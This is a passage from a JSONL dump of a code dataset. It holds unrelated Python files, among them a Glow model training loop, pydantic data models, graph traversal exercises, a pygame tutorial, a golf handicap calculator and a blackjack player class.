self.glow.init_rnn_hidden()\n\n loss = 0\n start_ts = get_longest_history(self.hparams.Conditioning)\n\n frame_nb = None\n if self.hparams.Conditioning[\"use_frame_nb\"]:\n frame_nb = batch[\"frame_nb\"].clone() + start_ts * 2\n\n z_seq = []\n losses = []\n for time_st in range(start_ts, batch[\"p1_face\"].shape[1]):\n curr_input = batch[\"p1_face\"][:, time_st, :]\n condition = self.create_conditioning(\n batch, time_st, frame_nb, batch[\"p1_face\"]\n )\n\n z_enc, objective = self.glow(x=curr_input, condition=condition)\n tmp_loss = self.loss(objective, z_enc)\n losses.append(tmp_loss.cpu().detach())\n loss += torch.mean(tmp_loss)\n\n if self.hparams.Conditioning[\"use_frame_nb\"]:\n frame_nb += 2\n z_seq.append(z_enc.detach())\n\n return z_seq, (loss / len(z_seq)).unsqueeze(-1), losses\n\n def loss(self, objective, z):\n objective += GaussianDiag.logp_simplified(z)\n nll = (-objective) / float(np.log(2.0))\n return nll\n\n def training_step(self, batch, batch_idx):\n if (\n self.hparams.Train[\"use_negative_nll_loss\"]\n and self.last_missmatched_nll > 0\n and random.random() < 0.1\n and self.missmatched_modalities\n ):\n deranged_batch = self.derange_batch(batch, self.missmatched_modalities)\n _, loss, _ = self(deranged_batch)\n\n tb_log = {\"Loss/missmatched_nll\": -loss}\n self.last_missmatched_nll = -loss\n loss *= -0.1\n else:\n _, loss, _ = self(batch)\n tb_log = {\"Loss/train\": loss}\n\n if self.hparams.optuna and self.global_step > 20 and loss > 0:\n message = f\"Trial was pruned since loss > 0\"\n raise optuna.exceptions.TrialPruned(message)\n\n return {\"loss\": loss, \"log\": tb_log}\n\n def validation_step(self, batch, batch_idx):\n z_seq, loss, _ = self(batch)\n if self.hparams.optuna and self.global_step > 20 and loss > 0:\n message = f\"Trial was pruned since loss > 0\"\n raise optuna.exceptions.TrialPruned(message)\n output = {\"val_loss\": loss}\n\n if batch_idx == 0: # and self.global_step > 0\n output[\"jerk\"] = {}\n idx = random.randint(0, batch[\"p1_face\"].shape[0] - 1)\n if self.hparams.Validation[\"inference\"]:\n seq_len = self.hparams.Validation[\"seq_len\"]\n cond_data = {\n \"p1_face\": batch[\"p1_face\"][\n :, : get_longest_history(self.hparams.Conditioning)\n ],\n \"p2_face\": batch.get(\"p2_face\"),\n \"p1_speech\": batch.get(\"p1_speech\"),\n \"p2_speech\": batch.get(\"p2_speech\"),\n }\n predicted_seq = self.inference(seq_len, data=cond_data)\n\n output[\"jerk\"][\"gt_mean\"] = calc_jerk(\n batch[\"p1_face\"][:, -predicted_seq.shape[1] :]\n )\n output[\"jerk\"][\"generated_mean\"] = calc_jerk(predicted_seq)\n\n idx = random.randint(0, cond_data[\"p1_face\"].shape[0] - 1)\n if self.hparams.Validation[\"render\"]:\n self.render_results(predicted_seq, batch, idx)\n\n if self.hparams.Validation[\"check_invertion\"]:\n # Test if the Flow works correctly\n output[\"det_check\"] = self.test_invertability(z_seq, loss, batch)\n\n if self.hparams.Validation[\"scale_logging\"]:\n self.log_scales()\n\n # Test if the Flow is listening to other modalities\n if self.hparams.Validation[\"wrong_context_test\"]:\n mismatch = self.hparams.Mismatch\n output[\"mismatched_nll\"] = {\"actual_nll\": loss}\n\n for key, modalities in mismatch[\"shuffle_batch\"].items():\n if all(\n [\n self.hparams.Conditioning[x][\"history\"] > 0\n for x in modalities\n ]\n ):\n deranged_batch = self.derange_batch(batch, modalities)\n _, missaligned_nll, _ = self(deranged_batch)\n\n output[\"mismatched_nll\"][\n f\"shuffle_batch_{key}\"\n ] = missaligned_nll\n\n for key, modalities in mismatch[\"shuffle_time\"].items():\n if all(\n [\n self.hparams.Conditioning[x][\"history\"] > 0\n for x in modalities\n ]\n ):\n deranged_batch = self.derange_batch(\n batch, modalities, shuffle_time=True\n )\n _, shuffled_nll, _ = self(deranged_batch)\n\n output[\"mismatched_nll\"][f\"shuffle_time_{key}\"] = shuffled_nll\n return output\n\n def validation_epoch_end(self, outputs):\n avg_loss = torch.stack([x[\"val_loss\"] for x in outputs]).mean()\n tb_logs = {\"Loss/val\": avg_loss}\n save_loss = avg_loss\n\n mismatched_nll = [\n x[\"mismatched_nll\"] for x in outputs if x.get(\"mismatched_nll\")\n ]\n if mismatched_nll:\n keys = reduce(\n lambda x, y: x + y, [[y for y in x.keys()] for x in mismatched_nll]\n )\n actual_nll = torch.stack(\n [x[\"actual_nll\"] for x in mismatched_nll if x.get(\"actual_nll\")]\n ).mean()\n for key in keys:\n bad_nll = torch.stack(\n [x[key] for x in mismatched_nll if x.get(key)]\n ).mean()\n tb_logs[f\"mismatched_nll/{key}\"] = bad_nll\n tb_logs[f\"mismatched_nll_ratios/{key}\"] = actual_nll - bad_nll\n\n if self.hparams.Train[\"use_negative_nll_loss\"] and self.global_step > 0:\n self.last_missmatched_nll = -tb_logs[\n f\"mismatched_nll/shuffle_batch_{self.missmatched_nll_name}\"\n ]\n\n det_check = [x[\"det_check\"] for x in outputs if x.get(\"det_check\") is not None]\n if det_check:\n avg_det_check = torch.stack(det_check).mean()\n tb_logs[\"reconstruction/error_percentage\"] = avg_det_check\n\n jerk = [x[\"jerk\"] for x in outputs if x.get(\"jerk\")]\n if jerk:\n gt_jerk_mean = [x[\"gt_mean\"] for x in jerk]\n if gt_jerk_mean:\n tb_logs[f\"jerk/gt_mean\"] = torch.stack(gt_jerk_mean).mean()\n\n generated_jerk_mean = [x[\"generated_mean\"] for x in jerk]\n if generated_jerk_mean:\n tb_logs[f\"jerk/generated_mean\"] = torch.stack(\n generated_jerk_mean\n ).mean()\n percentage = tb_logs[f\"jerk/generated_mean\"] / tb_logs[f\"jerk/gt_mean\"]\n tb_logs[f\"jerk/generated_mean_ratio\"] = percentage\n\n if (\n tb_logs[f\"jerk/generated_mean\"] > 5\n and self.hparams.optuna\n and self.global_step > 20\n ):\n message = f\"Trial was pruned since jerk > 5\"\n raise optuna.exceptions.TrialPruned(message)\n if tb_logs[f\"jerk/generated_mean\"] < self.best_jerk:\n self.best_jerk = tb_logs[f\"jerk/generated_mean\"]\n else:\n save_loss + torch.tensor(np.Inf)\n return {\"save_loss\": save_loss, \"val_loss\": avg_loss, \"log\": tb_logs}\n\n def configure_optimizers(self):\n lr_params = self.hparams.Optim\n optim_args = lr_params[\"args\"][lr_params[\"name\"]]\n optimizers = {\"adam\": Adam, \"sgd\": SGD, \"rmsprop\": RMSprop}\n # Define optimizer\n optimizer = optimizers[lr_params[\"name\"]](\n self.parameters(), lr=self.hparams.lr, **optim_args\n )\n\n # Define Learning Rate Scheduling\n def lambda1(val):\n return lambda epoch: epoch // val\n\n sched_params = self.hparams.Optim[\"Schedule\"]\n sched_name = sched_params[\"name\"]\n if not sched_name:\n return optimizer\n\n sched_args = sched_params[\"args\"][sched_name]\n\n if sched_name == \"step\":\n scheduler = StepLR(optimizer, **sched_args)\n elif sched_name == \"multiplicative\":\n scheduler = MultiplicativeLR(\n optimizer, lr_lambda=[lambda1(sched_args[\"val\"])]\n )\n elif sched_name == \"lambda\":\n scheduler = LambdaLR(optimizer, lr_lambda=[lambda1(sched_args[\"val\"])])\n else:\n raise NotImplementedError(\"Unimplemented Scheduler!\")\n\n return [optimizer], [scheduler]\n\n # learning rate warm-up\n def optimizer_step(\n self, current_epoch, batch_nb, optimizer, optimizer_i, second_order_closure=None\n ):\n lr = self.hparams.lr\n # warm up lr\n warm_up = self.hparams.Optim[\"Schedule\"][\"warm_up\"]\n if self.trainer.global_step < warm_up:\n lr_scale = min(1.0, float(self.trainer.global_step + 1) / warm_up)\n lr *= lr_scale\n for pg in optimizer.param_groups:\n pg[\"lr\"] = lr\n for pg in optimizer.param_groups:\n self.logger.log_metrics({\"learning_rate\": pg[\"lr\"]}, self.global_step)\n\n # update params\n optimizer.step()\n optimizer.zero_grad()\n","sub_path":"code/glow_pytorch/glow/lets_face_it_glow.py","file_name":"lets_face_it_glow.py","file_ext":"py","file_size_in_byte":13048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"535648513","text":"from datetime import datetime\nfrom monty.serialization import MontyDecoder\n\nfrom pydantic import BaseModel, Field, validator\n\n\nclass MineralData(BaseModel):\n \"\"\"\n Model for mineral data in the condensed structure robocrystallographer field\n \"\"\"\n\n type: str = Field(\n None,\n description=\"Mineral type.\",\n )\n\n\nclass CondensedStructureData(BaseModel):\n \"\"\"\n Model for data in the condensed structure robocrystallographer field\n \"\"\"\n\n formula: str = Field(\n None,\n description=\"Formula for the material.\",\n )\n\n spg_symbol: str = Field(\n None,\n description=\"Space group symbol of the material.\",\n )\n\n crystal_system: str = Field(\n None,\n description=\"Crystal system of the material.\",\n )\n\n mineral: MineralData = Field(\n None,\n description=\"Matched mineral data for the material.\",\n )\n\n dimensionality: int = Field(\n None,\n description=\"Dimensionality of the material.\",\n )\n\n\nclass RobocrysDoc(BaseModel):\n \"\"\"\n Structural features, mineral prototypes, dimensionality, ...\n \"\"\"\n\n description: str = Field(\n None,\n description=\"Decription text from robocrytallographer.\",\n )\n\n condensed_structure: CondensedStructureData = Field(\n None,\n description=\"Condensed structure data from robocrytallographer.\",\n )\n\n task_id: str = Field(\n None,\n description=\"The Materials Project ID of the material. This comes in the form: mp-******\",\n )\n\n last_updated: datetime = Field(\n None,\n description=\"Timestamp for the most recent calculation for this document\",\n )\n\n # Make sure that the datetime field is properly formatted\n @validator(\"last_updated\", pre=True)\n def last_updated_dict_ok(cls, v):\n return MontyDecoder().process_decoded(v)\n","sub_path":"src/mp_api/routes/robocrys/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"575757544","text":"# pylint: disable=missing-docstring\nimport unittest\nfrom unittest.mock import patch\n\nfrom fhdoc.utils.logger import get_logger\n\n\nclass TestLogging(unittest.TestCase):\n\t@patch(\"fhdoc.utils.logger.logging\")\n\tdef test_get_logger(self, logging_mock):\n\t\tlogging_mock.getLogger().handlers = []\n\n\t\tself.assertTrue(get_logger(level=10))\n\t\tlogging_mock.getLogger.assert_called_with(\"fhdoc\")\n\t\tlogging_mock.getLogger().setLevel.assert_called_with(10)\n\t\tlogging_mock.StreamHandler().setLevel.assert_called_with(10)\n","sub_path":"tests/utils/test_logger.py","file_name":"test_logger.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"100412209","text":"\"\"\"\nSimple graph implementation\n\"\"\"\nfrom util import Stack, Queue # These may come in handy\n\nclass Graph:\n\n \"\"\"Represent a graph as a dictionary of vertices mapping labels to edges.\"\"\"\n def __init__(self):\n # Instantiate a graph class with an empty dictionary to hold the different \n # nodes of the graph\n self.vertices = {}\n\n def add_vertex(self, vertex_id):\n \"\"\"\n Add a vertex to the graph.\n \"\"\"\n # Create a vertex, add it to the dictionary\n # For the vertex, start a set to hold the list of neighbors its connected to\n self.vertices[vertex_id] = set()\n\n def add_edge(self, v1, v2):\n \"\"\"\n Add a directed edge to the graph.\n \"\"\"\n # Make sure the verticies exist to make the connection\n if v1 in self.vertices and v2 in self.vertices:\n # Add the v2 as to the list of neighbors for v1\n self.vertices[v1].add(v2)\n else:\n raise IndexError(\"Nonexistent vertex\")\n\n def get_neighbors(self, vertex_id):\n \"\"\"\n Get all neighbors (edges) of a vertex.\n \"\"\"\n # Return the list of neighbors\n return self.vertices[vertex_id]\n\n def bft(self, starting_vertex):\n \"\"\"\n Print each vertex in breadth-first order\n beginning from starting_vertex.\n \"\"\"\n # Create an empty queue\n q = Queue()\n # Add the starting index to the queue\n q.enqueue(starting_vertex)\n # Create empty set for visited vertices\n visited = set()\n # While gueue is not empty\n while q.size() > 0:\n # Dequeue a vertex\n v = q.dequeue()\n # If vertex not visited\n if v not in visited:\n # Visit it! Perform whatever we are doing to it\n print(v)\n # Mark as visited\n visited.add(v)\n # Add all neighbors to the queue\n for neighbor in self.get_neighbors(v):\n q.enqueue(neighbor)\n\n def dft(self, starting_vertex):\n \"\"\"\n Print each vertex in depth-first order\n beginning from starting_vertex.\n \"\"\"\n # Create an empty queue\n q = Stack()\n # Add the starting index to the queue\n q.push(starting_vertex)\n # Create empty set for visited vertices\n visited = set()\n # While queue is not empty\n while q.size() > 0:\n # Dequeue a vertex\n v = q.pop()\n # If vertex not visited\n if v not in visited:\n # Visit it! Perform whatever we are doing to it\n print(v)\n # Mark as visited\n visited.add(v)\n # Add all neighbors to the queue\n for neighbor in self.get_neighbors(v):\n q.push(neighbor)\n\n def dft_recursive(self, starting_vertex, visited = None):\n \"\"\"\n Print each vertex in depth-first order\n beginning from starting_vertex.\n\n This should be done using recursion.\n\n Visited default is a blank set, as vertices are visited and added, we will \n pass the updated visited set to the next call\n \"\"\"\n # When python default is immutable, it is processed weirdly\n # use this type of format to get initialize a set for the first time\n if visited is None:\n visited = set()\n\n vertex = starting_vertex\n\n # if we have visited it, skip over it\n if vertex in visited:\n return\n # Otherwise, print, add it to visited, recursive call on each neighbor\n else:\n # Print - perform what you need to do at each vertex\n print(vertex)\n # Add vertex to visited\n visited.add(vertex)\n # For each neighbor, recursive call\n for n_vertex in self.get_neighbors(vertex):\n # Pass in the neighbor vertex and the updated visited\n self.dft_recursive(n_vertex, visited)\n\n def bfs(self, starting_vertex, destination_vertex):\n \"\"\"\n Return a list containing the shortest path from\n starting_vertex to destination_vertex in\n breath-first order.\n \"\"\"\n # Create an empty queue\n q = Queue()\n # and enqueue A PATH TO the starting vertex ID\n q.enqueue([starting_vertex])\n # Create a Set to store visited vertices\n visited = set()\n\n # While the queue is not empty...\n while q.size() > 0:\n # Dequeue the first PATH\n path = q.dequeue()\n # Grab the last vertex from the PATH\n v = path[-1]\n\n # If that vertex has not been visited...\n if v not in visited:\n # CHECK IF IT'S THE TARGET\n if v == destination_vertex:\n # IF SO, RETURN PATH\n return path\n\n # If it isn't the target, continue your search\n # Mark it as visited...\n visited.add(v)\n # Then add A PATH TO its neighbors to the back of the queue\n for neighbor in self.get_neighbors(v):\n # Copy the path\n next_path = path[:]\n # append the neighbor vertex to it\n next_path.append(neighbor)\n # add the next path to the end of the queue\n q.enqueue(next_path)\n\n def dfs(self, starting_vertex, destination_vertex):\n \"\"\"\n Return a list containing a path from\n starting_vertex to destination_vertex in\n depth-first order.\n \"\"\"\n # Create an empty stack\n q = Stack()\n # and enqueue A PATH TO the starting vertex ID\n q.push([starting_vertex])\n # Create a Set to store visited vertices\n visited = set()\n\n # While the queue is not empty...\n while q.size() > 0:\n # Dequeue the first PATH\n path = q.pop()\n # Grab the last vertex from the PATH\n v = path[-1]\n\n # If that vertex has not been visited...\n if v not in visited:\n # CHECK IF IT'S THE TARGET\n if v == destination_vertex:\n # IF SO, RETURN PATH\n return path\n\n # If it isn't the target, continue your search\n # Mark it as visited...\n visited.add(v)\n # Then add A PATH TO its neighbors to the back of the queue\n for neighbor in self.get_neighbors(v):\n # Copy the path\n next_path = path[:]\n # append the neighbor vertex to it\n next_path.append(neighbor)\n # add the next path to the end of the queue\n q.push(next_path)\n\n def dfs_recursive(self, starting_vertex, destination_vertex):\n \"\"\"\n Return a list containing a path from\n starting_vertex to destination_vertex in\n depth-first order.\n\n This should be done using recursion.\n Default visited is empty set\n \"\"\"\n # Start with an empty visited set\n visited = set()\n\n def inner_dfs(path):\n \n # Grab the last vertex from the PATH\n v = path[-1]\n\n # CHECK IF IT'S THE TARGET\n if v == destination_vertex:\n # IF SO, RETURN PATH\n return path\n\n # If that vertex has not been visited...\n if v not in visited:\n # Mark it as visited...\n visited.add(v)\n # Then add A PATH TO its neighbors to the back of the queue -recursive call\n for neighbor in self.get_neighbors(v):\n # Copy the path - each recursive call needs a new copy of the path\n # The previous call is still utilizing the previous version of the path object\n next_path = path[:]\n # append the neighbor vertex to it\n next_path.append(neighbor)\n # Recursive function with updated path and visited set\n found = inner_dfs(next_path)\n\n # We need a way to return the found path from all the recursive calls\n # Check to see if a path or if None is passed back\n # Continues to get passed along to the original call which will return the path\n\n # If the destination vertex is found, return the path\n if found:\n return found\n\n # use the starting vertex for the first call\n return inner_dfs([starting_vertex])\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n graph = Graph() # Instantiate your graph\n # https://github.com/LambdaSchool/Graphs/blob/master/objectives/breadth-first-search/img/bfs-visit-order.png\n graph.add_vertex(1)\n graph.add_vertex(2)\n graph.add_vertex(3)\n graph.add_vertex(4)\n graph.add_vertex(5)\n graph.add_vertex(6)\n graph.add_vertex(7)\n graph.add_edge(5, 3)\n graph.add_edge(6, 3)\n graph.add_edge(7, 1)\n graph.add_edge(4, 7)\n graph.add_edge(1, 2)\n graph.add_edge(7, 6)\n graph.add_edge(2, 4)\n graph.add_edge(3, 5)\n graph.add_edge(2, 3)\n graph.add_edge(4, 6)\n\n '''\n Should print:\n {1: {2}, 2: {3, 4}, 3: {5}, 4: {6, 7}, 5: {3}, 6: {3}, 7: {1, 6}}\n '''\n print(graph.vertices)\n\n '''\n Valid BFT paths:\n 1, 2, 3, 4, 5, 6, 7\n 1, 2, 3, 4, 5, 7, 6\n 1, 2, 3, 4, 6, 7, 5\n 1, 2, 3, 4, 6, 5, 7\n 1, 2, 3, 4, 7, 6, 5\n 1, 2, 3, 4, 7, 5, 6\n 1, 2, 4, 3, 5, 6, 7\n 1, 2, 4, 3, 5, 7, 6\n 1, 2, 4, 3, 6, 7, 5\n 1, 2, 4, 3, 6, 5, 7\n 1, 2, 4, 3, 7, 6, 5\n 1, 2, 4, 3, 7, 5, 6\n '''\n graph.bft(1)\n\n '''\n Valid DFT paths:\n 1, 2, 3, 5, 4, 6, 7\n 1, 2, 3, 5, 4, 7, 6\n 1, 2, 4, 7, 6, 3, 5\n 1, 2, 4, 6, 3, 5, 7\n '''\n graph.dft(1)\n graph.dft_recursive(1)\n\n print(\"_______________________________________\")\n\n '''\n Valid BFS path:\n [1, 2, 4, 6]\n '''\n print(graph.bfs(1, 6))\n\n '''\n Valid DFS paths:\n [1, 2, 4, 6]\n [1, 2, 4, 7, 6]\n '''\n print(graph.dfs(1, 6))\n print(graph.dfs_recursive(1, 6))\n","sub_path":"projects/graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":10404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"122272071","text":"#Nathan Hinton\n#This will be an ide game. hopefuly...\n\n#Starting with a tutuorial from online:\n#https://www.raywenderlich.com/2795-beginning-game-programming-for-teens-with-python\nimport pygame\nfrom pygame.locals import *\n\npygame.init()\nwidth, height = 640, 480\nkeys = [False, False, False, False]\nplayerPos = [100, 100]\nscreen = pygame.display.set_mode((width, height))\n\nplayerImg = pygame.image.load(\"resources/images/dude.png\")\ngrass = pygame.image.load(\"resources/images/grass.png\")\ncastle = pygame.image.load(\"resources/images/castle.png\")\n\nwhile 1:\n screen.fill(0)\n #Set bg:\n for x in range(int(width/grass.get_width()+1)):\n for y in range(int(height/grass.get_height()+1)):\n screen.blit(grass, (x*100, y*100))\n screen.blit(castle, (0, 30))\n screen.blit(castle, (0, 135))\n screen.blit(castle, (0, 240))\n screen.blit(castle, (0, 345))\n #Draw player:\n screen.blit(playerImg, playerPos)\n pygame.display.flip()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n #Check for key press:\n if event.type == pygame.KEYDOWN:\n if event.key == K_w:\n keys[0] = True\n elif event.key == K_a:\n keys[1] = True\n elif event.key == K_s:\n keys[2] = True\n elif event.key == K_d:\n keys[3] = True\n if event.type == pygame.KEYUP:\n if event.key == K_w:\n keys[0] = False\n elif event.key == K_a:\n keys[1] = False\n elif event.key == K_s:\n keys[2] = False\n elif event.key == K_d:\n keys[3] = False\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"453891180","text":"import kfbReader\nimport cv2 as cv\nimport os\nimport json\nimport numpy as np \nimport pandas as pd \n\n\noutpath = './data/VOCdevkit2007/VOC2007/'\nimgPath = outpath + 'JPEGImages/'\nlabelsPath = outpath + 'labels/'\n\nif not os.path.exists(imgPath):\n os.makedirs(imgPath)\nif not os.path.exists(labelsPath):\n os.makedirs(labelsPath)\n\nimgSize = 600\nnum = 0\n\nfor i in range(1): # 10\n kfbPath = './pos_'+str(i)\n nameList = os.listdir(kfbPath)\n for filename in nameList:\n name = os.path.splitext(filename)[0]\n kfb_file = os.path.join(kfbPath, filename)\n scale = 20\n read = kfbReader.reader()\n kfbReader.reader.ReadInfo(read, kfb_file, scale, True)\n\n with open('./labels/'+name+'.json', 'r') as f:\n data = json.load(f)\n df = pd.DataFrame(np.zeros((len(data), 5)),\n columns=['x', 'y', 'w', 'h', 'class'], dtype=object)\n for i, item in enumerate(data):\n df.loc[i] = item\n\n dfRoi = df.loc[df['class'] == 'roi']\n dfPos = df.loc[df['class'] == 'pos']\n\n for i, item in dfRoi.iterrows():\n x0, y0, w0, h0 = item['x'], item['y'], item['w'], item['h']\n for j, pos in dfPos.iterrows():\n x, y, w, h = pos['x'], pos['y'], pos['w'], pos['h']\n if((x > x0) and (y > y0) and (x+w < x0+w0) and (y+h < y0+h0)):\n size = imgSize\n while((w >= size) or (h >= size)):\n size *= 2\n dx, dy = np.random.randint(0, size-w), np.random.randint(0, size-h)\n x_, y_ = x - dx, y - dy\n png = read.ReadRoi(x_, y_, size, size, scale)\n cv.imwrite(imgPath+\"%07d\"%num+'.png', png)\n\n # xmin, ymin, xmax, ymax = dx, dy, w+dx, h+dy\n with open(labelsPath+\"%07d\"%num+'.txt', 'w') as f:\n # f.write(\"%d %d %d %d %d\\n\"%(xmin, ymin, xmax, ymax, 1))\n # 检查有没有包含其他的pos\n for k, p in dfPos.iterrows():\n x, y, w, h = p['x'], p['y'], p['w'], p['h']\n xmin, ymin, xmax, ymax = np.clip([x-x_, y-y_, x+w-x_, y+h-y_], 0, size-1)\n if((xmax-xmin>10) and (ymax-ymin>10)):\n f.write(\"%d %d %d %d %d\\n\"%(xmin, ymin, xmax, ymax, 1))\n num += 1\n ","sub_path":"mkDataset.py","file_name":"mkDataset.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"596609731","text":"from .. import LuxCoreNodeTexture\nfrom ... import utils\n\n\nclass LuxCoreNodeTexCheckerboard3D(LuxCoreNodeTexture):\n bl_label = \"3D Checkerboard\"\n bl_width_default = 160\n\n def init(self, context):\n self.add_input(\"LuxCoreSocketColor\", \"Color 1\", [0.1] * 3)\n self.add_input(\"LuxCoreSocketColor\", \"Color 2\", [0.6] * 3)\n self.add_input(\"LuxCoreSocketMapping3D\", \"3D Mapping\")\n\n self.outputs.new(\"LuxCoreSocketColor\", \"Color\")\n\n def sub_export(self, exporter, props, luxcore_name=None, output_socket=None):\n mapping_type, transformation = self.inputs[\"3D Mapping\"].export(exporter, props)\n\n definitions = {\n \"type\": \"checkerboard3d\",\n \"texture1\": self.inputs[\"Color 1\"].export(exporter, props),\n \"texture2\": self.inputs[\"Color 2\"].export(exporter, props),\n # Mapping\n \"mapping.type\": mapping_type,\n \"mapping.transformation\": utils.matrix_to_list(transformation, exporter.scene, True),\n }\n return self.create_props(props, definitions, luxcore_name)\n","sub_path":"All_In_One/addons/BlendLuxCore/nodes/textures/checkerboard3d.py","file_name":"checkerboard3d.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"202498324","text":"def input_score():\r\n course_rating = input(\"What is the rating of your home course?\")\r\n course_rating = float(course_rating)\r\n course_slope = input(\"What is the slope of your home course?\")\r\n course_slope = float(course_slope)\r\n score1 = input(\"What is your first score?\")\r\n score1 = int(score1)\r\n score2 = input(\"What is your second score?\")\r\n score2 = int(score2)\r\n score3 = input(\"What is your third score?\")\r\n score3 = int(score3)\r\n score4 = input(\"What is your fourth score?\")\r\n score4 = int(score4)\r\n score5 = input(\"What is your fifth score?\")\r\n score5 = int(score5)\r\n differential1 = (score1 - course_rating)*113/course_slope\r\n differential2 = (score2 - course_rating)*113/course_slope\r\n differential3 = (score3 - course_rating)*113/course_slope\r\n differential4 = (score4 - course_rating)*113/course_slope\r\n differential5 = (score5 - course_rating)*113/course_slope\r\n differential_use = min(differential1, differential2, differential3, differential4, differential5)\r\n differential_final = differential_use/1\r\n differential_final = float(differential_final)\r\n return differential_final\r\n\r\nmy_differential = input_score()\r\n\r\ndef handicap():\r\n global my_differential\r\n my_handicap = my_differential*0.96\r\n my_handicap = round(my_handicap)\r\n return my_handicap\r\n\r\nfinal_handicap = handicap()\r\nfinal_handicap = str(final_handicap)\r\nprint(\"Your handicap is: \" + final_handicap)\r\n \r\n","sub_path":"handicap.py","file_name":"handicap.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"308940021","text":"\"\"\"\nDefinition of the player class\n\"\"\"\nfrom .strategies import hit_to_seventeen, minimum_bet, decline_insurance\n\n\nclass Player:\n\n def __init__(self, bankroll, strategy_func=None, wager_func=None,\n insurance_func=None):\n \"\"\"\n Parameters\n ----------\n bankroll: starting bankroll for a player\n strategy: CSV file containing a player's strategy\n wager: function to determine how much the player will be wagering\n \"\"\"\n self.bankroll = bankroll\n # self.strategy = strategy\n self.history = [] # holds hand history\n if not wager_func:\n self.wager_func = minimum_bet\n else:\n self.wager_func = wager_func\n if not strategy_func:\n self.strategy_func = hit_to_seventeen\n else:\n self.strategy_func = strategy_func\n if not insurance_func:\n self.insurance_func = decline_insurance\n else:\n self.insurance_func = insurance_func\n\n def wager(self, min_bet, max_bet, **kwargs):\n \"\"\"\n This function is essentially a wrapper for the wager function passed in\n by the user when initializing the Player object.\n \"\"\"\n wager = self.wager_func(player=self, min_bet=min_bet, max_bet=max_bet,\n **kwargs)\n # assert that the bet is within table stakes and player can afford it\n assert min_bet <= wager <= max_bet, (\n f\"{wager} not between min. bet {min_bet} and max bet {max_bet}\"\n )\n assert wager <= self.bankroll, {\n f\"{wager} greater than bankroll {self.bankroll}\"\n }\n self.bankroll -= wager\n return wager\n\n def action(self, hand, dealer_up, **kwargs):\n \"\"\"\n This method returns a player action based on the dealer's up card and\n the hand total.\n \"\"\"\n if hand.blackjack:\n return \"STAND\"\n action = self.strategy_func(player=self, hand=hand,\n dealer_up=dealer_up, **kwargs).upper()\n assert action in [\"STAND\", \"SPLIT\", \"HIT\", \"DOUBLE\"]\n return action\n\n def insurance(self, **kwargs):\n return self.insurance_func(player=self, **kwargs)\n\n def settle_up(self, hand_data, dealer_total, result, payout,\n blackjack_payout, dealer_blackjack):\n \"\"\"\n This method logs all of the data for a given hand\n Parameters\n ----------\n hand_data: dictionary containing information on the hand\n dealer_total: final total for the dealer\n Returns\n -------\n None\n \"\"\"\n wager = hand_data[\"wager\"]\n additonal_data = {\n \"dealer_total\": dealer_total,\n # add back initial wager to get starting bankroll\n \"start_bankroll\": self.bankroll + wager,\n \"result\": result\n }\n # pay off insurance\n if hand_data[\"insurance\"] and dealer_blackjack:\n self.bankroll += wager\n # adjust bankroll according to result\n if result == \"win\":\n if hand_data[\"blackjack\"]:\n payout = wager + (wager * blackjack_payout)\n else:\n payout = wager + (wager * payout)\n self.bankroll += payout\n elif result == \"push\":\n # add back wager if they push\n self.bankroll += wager\n additonal_data[\"end_bankroll\"] = self.bankroll\n self.history.append({**hand_data, **additonal_data})\n","sub_path":"py21/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"504451520","text":"from util import *\n\n\n@apply\ndef apply(self):\n fx, (x, S[1]) = self.of(Derivative[sigmoid]) \n [n] = x.shape\n return Equal(self, sigmoid(fx) * (1 - sigmoid(fx)) * Derivative[x](fx).doit() * Identity(n))\n\n\n@prove\ndef prove(Eq):\n from axiom import algebra\n\n n = Symbol(integer=True, positive=True)\n x = Symbol(real=True, shape=(n,))\n f = Function(real=True)\n Eq << apply(Derivative[x](sigmoid(f(x))))\n\n Eq << Eq[0].this.lhs.expr.defun()\n\n Eq << Eq[-1].this.lhs.doit()\n\n Eq << Eq[-1].this.find(sigmoid).defun()\n\n Eq << Eq[-1].this.find(sigmoid).defun()\n\n Eq << Eq[-1] * (1 + exp(-f(x)))\n\n Eq << Eq[-1] * (1 + exp(-f(x)))\n\n Eq << Eq[-1].this.rhs.apply(algebra.mul.to.add)\n\n Eq << Eq[-1].this.find(Mul[Add]).apply(algebra.mul.to.add)\n\n \n\n\nif __name__ == '__main__':\n run()\n# created on 2022-01-01\n","sub_path":"axiom/calculus/derivative_sigmoid/to/mul/sigmoid/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"537015797","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n api/recommend.py\n ここにレコメンドをしてidとscoreの行列を返す関数を実装\n\"\"\"\n\nfrom flask import Blueprint, Response, request, abort\nimport json\nfrom bson import ObjectId\nimport requests\nfrom database.extension import db\n\n\"\"\"\n recommendというBlueprintを生成\n これをmain.pyで読み込んでapiとして登録\n\"\"\"\nrecommend = Blueprint('recommend', __name__)\n\n\"\"\"\n\tJSONEncoder\n\thttp://stackoverflow.com/questions/16586180/typeerror-objectid-is-not-json-serializable\n\"\"\"\nclass JSONEncoder(json.JSONEncoder):\n def default(self, 